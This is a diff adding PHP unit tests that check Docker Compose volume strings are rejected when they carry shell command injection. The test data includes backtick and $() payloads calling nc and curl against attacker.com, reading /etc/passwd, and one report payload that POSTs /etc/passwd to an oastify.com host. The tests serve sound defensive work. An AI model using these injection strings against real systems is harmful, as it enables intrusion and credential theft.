bind + source: '/tmp/evil$(id)' + target: /app/evil2 +YAML; + + $parsed = Yaml::parse($dockerComposeYaml); + $volumes = $parsed['services']['web']['volumes']; + + // String format malicious volume (index 2) + expect(fn () => parseDockerVolumeString($volumes[2])) + ->toThrow(Exception::class); + + // Array format malicious volume (index 3) + $source = $volumes[3]['source']; + expect(fn () => validateShellSafePath($source, 'volume source')) + ->toThrow(Exception::class); + + // Legitimate volumes should work (indexes 0 and 1) + expect(fn () => parseDockerVolumeString($volumes[0])) + ->not->toThrow(Exception::class); + + $safeSource = $volumes[1]['source']; + expect(fn () => validateShellSafePath($safeSource, 'volume source')) + ->not->toThrow(Exception::class); +}); + +test('array-format target path injection is also blocked', function () { + $dockerComposeYaml = <<<'YAML' +services: + evil: + image: alpine + volumes: + - type: bind + source: ./data + target: '/app`whoami`' +YAML; + + $parsed = Yaml::parse($dockerComposeYaml); + $target = $parsed['services']['evil']['volumes'][0]['target']; + + // Target paths should also be validated + expect(fn () => validateShellSafePath($target, 'volume target')) + ->toThrow(Exception::class, 'backtick'); +}); diff --git a/tests/Unit/VolumeSecurityTest.php b/tests/Unit/VolumeSecurityTest.php new file mode 100644 index 000000000..0196000a3 --- /dev/null +++ b/tests/Unit/VolumeSecurityTest.php @@ -0,0 +1,176 @@ + parseDockerVolumeString($maliciousVolume)) + ->toThrow(Exception::class, 'Invalid Docker volume definition'); +}); + +test('parseDockerVolumeString rejects backtick injection', function () { + $maliciousVolumes = [ + '`whoami`:/app', + '/tmp/evil`id`:/data', + './data`nc attacker.com 1234`:/app/data', + ]; + + foreach ($maliciousVolumes as $volume) { + expect(fn () => parseDockerVolumeString($volume)) + ->toThrow(Exception::class); + } +}); + +test('parseDockerVolumeString rejects dollar-paren injection', function () { + $maliciousVolumes = [ + '$(whoami):/app', + '/tmp/evil$(cat /etc/passwd):/data', + './data$(curl attacker.com):/app/data', + ]; + + foreach ($maliciousVolumes as $volume) { + expect(fn () => parseDockerVolumeString($volume)) + ->toThrow(Exception::class); + } +}); + +test('parseDockerVolumeString rejects pipe injection', function () { + $maliciousVolume = '/tmp/file | nc attacker.com 1234:/app'; + + expect(fn () => parseDockerVolumeString($maliciousVolume)) + ->toThrow(Exception::class); +}); + +test('parseDockerVolumeString rejects semicolon injection', function () { + $maliciousVolume = '/tmp/file; curl attacker.com:/app'; + + expect(fn () => parseDockerVolumeString($maliciousVolume)) + ->toThrow(Exception::class); +}); + +test('parseDockerVolumeString rejects ampersand injection', function () { + $maliciousVolumes = [ + '/tmp/file & curl attacker.com:/app', + '/tmp/file && curl attacker.com:/app', + ]; + + foreach ($maliciousVolumes as $volume) { + expect(fn () => parseDockerVolumeString($volume)) + ->toThrow(Exception::class); + } +}); + +test('parseDockerVolumeString accepts legitimate volume definitions', function () { + $legitimateVolumes = [ + 'gitea:/data', + './data:/app/data', + '/var/lib/data:/data', + '/etc/localtime:/etc/localtime:ro', + 'my-app_data:/var/lib/app-data', + 'C:/Windows/Data:/data', + '/path-with-dashes:/app', + '/path_with_underscores:/app', + 'volume.with.dots:/data', + ]; + + foreach ($legitimateVolumes as $volume) { + $result = parseDockerVolumeString($volume); + expect($result)->toBeArray(); + expect($result)->toHaveKey('source'); + expect($result)->toHaveKey('target'); + } +}); + +test('parseDockerVolumeString accepts simple environment variables', function () { + $volumes = [ + '${DATA_PATH}:/data', + '${VOLUME_PATH}:/app', + '${MY_VAR_123}:/var/lib/data', + ]; + + foreach ($volumes as $volume) { + $result = parseDockerVolumeString($volume); + expect($result)->toBeArray(); + expect($result['source'])->not->toBeNull(); + } +}); + +test('parseDockerVolumeString rejects environment variables with command injection in default', function () { + $maliciousVolumes = [ + '${VAR:-`whoami`}:/app', + '${VAR:-$(cat /etc/passwd)}:/data', + '${PATH:-/tmp;curl attacker.com}:/app', + ]; + + foreach ($maliciousVolumes as $volume) { + expect(fn () => parseDockerVolumeString($volume)) + ->toThrow(Exception::class); + } +}); + +test('parseDockerVolumeString accepts environment variables with safe defaults', function () { + $safeVolumes = [ + '${VOLUME_DB_PATH:-db}:/data/db', + '${DATA_PATH:-./data}:/app/data', + '${VOLUME_PATH:-/var/lib/data}:/data', + ]; + + foreach ($safeVolumes as $volume) { + $result = parseDockerVolumeString($volume); + expect($result)->toBeArray(); + expect($result['source'])->not->toBeNull(); + } +}); + +test('parseDockerVolumeString rejects injection in target path', function () { + // While target paths are less dangerous, we should still validate them + $maliciousVolumes = [ + '/data:/app`whoami`', + './data:/tmp/evil$(id)', + 'volume:/data; curl attacker.com', + ]; + + foreach ($maliciousVolumes as $volume) { + expect(fn () => parseDockerVolumeString($volume)) + ->toThrow(Exception::class); + } +}); + +test('parseDockerVolumeString rejects the exact example from the security report', function () { + $exactMaliciousVolume = '/tmp/pwn`curl https://78dllxcupr3aicoacj8k7ab8jzpqdt1i.oastify.com -X POST --data "$(cat /etc/passwd)"`:/app'; + + expect(fn () => parseDockerVolumeString($exactMaliciousVolume)) + ->toThrow(Exception::class, 'Invalid Docker volume definition'); +}); + +test('parseDockerVolumeString provides helpful error messages', function () { + $maliciousVolume = '/tmp/evil`command`:/app'; + + try { + parseDockerVolumeString($maliciousVolume); + expect(false)->toBeTrue('Should have thrown exception'); + } catch (Exception $e) { + expect($e->getMessage())->toContain('Invalid Docker volume definition'); + expect($e->getMessage())->toContain('backtick'); + expect($e->getMessage())->toContain('volume source'); + } +}); + +test('parseDockerVolumeString handles whitespace with malicious content', function () { + $maliciousVolume = ' /tmp/evil`whoami`:/app '; + + expect(fn () => parseDockerVolumeString($maliciousVolume)) + ->toThrow(Exception::class); +}); + +test('parseDockerVolumeString rejects redirection operators', function () { + $maliciousVolumes = [ + '/tmp/file > /dev/null:/app', + '/tmp/file < input.txt:/app', + './data >> output.log:/app', + ]; + + foreach ($maliciousVolumes as $volume) { + expect(fn () => parseDockerVolumeString($volume)) + ->toThrow(Exception::class); + } +});